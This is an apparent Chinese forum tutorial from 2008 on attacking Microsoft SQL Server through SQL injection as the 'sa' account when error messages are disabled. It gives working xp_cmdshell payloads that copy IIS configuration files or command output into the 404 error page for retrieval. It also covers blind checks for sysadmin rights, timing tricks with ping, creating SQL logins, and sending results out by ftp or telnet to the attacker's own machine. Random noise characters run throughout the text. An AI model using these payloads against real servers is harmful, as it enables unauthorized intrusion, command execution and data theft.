遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。1 V7 T i+ F9 e3 ]- _
' a( a. k7 {% Y1 F5 A6 q 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。 r7 G/ [' _) y6 h) e1 p" ^
% i% j& [% T" t" }) S 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
+ ?- a$ T) q+ P0 E$ @8 x+ A) W+ v& U' s7 @7 Q
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
. X- a# R* S" D2 X6 G. ^2 c [1 c% q4 g# k: T' V. v
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
7 L/ w/ T& A) H! X0 z+ E% b" d. ^! t4 Y( }
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
0 K% z+ u# `1 c6 d& r/ N2 G, N, u. p' _1 U K( M `
执行命令得到回显
& V! s, j. x o% T
! I7 @! Y" W9 ]2 b4 v1 N 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--! t( Z: w/ X: c& @; ?1 h* ^. M
) u6 t6 V. m' R' f1 W
得到文件也shi相同,把文件copy到404b.htm就行了
: U: N' z8 B$ |4 p2 r2 h3 z8 P! ?! C( O9 r' R4 i
by 28ice, 2008/6/267 p8 t# D7 d, ?& g5 a- ~5 n
1 I/ U1 x1 J8 }) l( V7 x 摘自 28度的冰4 q0 C& O5 X* P/ z- M$ E+ P7 M' G
5 v' V+ o/ a; y" Y- _0 B+ w$ B$ h2 C
盲注判断权限和操作系统版本2 s3 |" E0 b- Q9 Y$ ~1 J
6 u4 F+ s. l6 m6 P
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
3 Y" w6 g8 i. T# q1 {( U. b
! i" U% {% x+ I1 Y 最简单的,可能以用这样的方法:6 w" i" a% g. m3 f4 r) ~
& _7 A) o9 @; D& s, I: l
1=(select IS_SRVROLEMEMBER(’sysadmin’))$ q# O+ |4 B/ a8 B+ ~9 N) E
( Y! p4 D: Q, ?) m; W: k
当然,有些情况下,这个方法并不奏效。
( b* T9 S! c- W4 h2 u. t6 n7 h
! ]% ]1 U$ [9 } 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。. g6 {' |! T: l+ ]
3 [: N2 A# D7 T2 l6 W" Q, M: m1 y 有个3办法可能以解决这个问题
5 ]4 g+ V/ U* X) V6 d1 J" P/ ~0 k% s( ]* P% ]
a.把执行结果写到404b.htm,具体请看我的上一篇文章
o+ T1 W- @) q$ J9 _, g) M7 u
( L7 W5 T9 G3 ^6 `# J( z b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟1 h. N6 E+ |$ {
; U" N# {+ r8 F2 D* P, U- f c.如果1433端口可能以连接,那干脆新建个sql登录7 V1 W5 ^4 s& C+ ]6 M' u
2 D+ X6 W' b* y+ a" A d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数( j9 K1 k2 k, j% {8 X0 s$ K$ E+ `
8 D o/ c; K5 i 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下( W r1 L* a+ i4 B& w: {) ]
9 L+ p# C: i$ W0 A+ R 很简单: l5 Y; g' e5 ?0 m) y7 u
7 f" g- b- V# I; V1 B" Z) i7 e
执行systeminfo+ _$ j/ O+ q7 s4 `
- l$ F' k2 O# @% k7 y3 l+ ]0 n/ }7 A
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |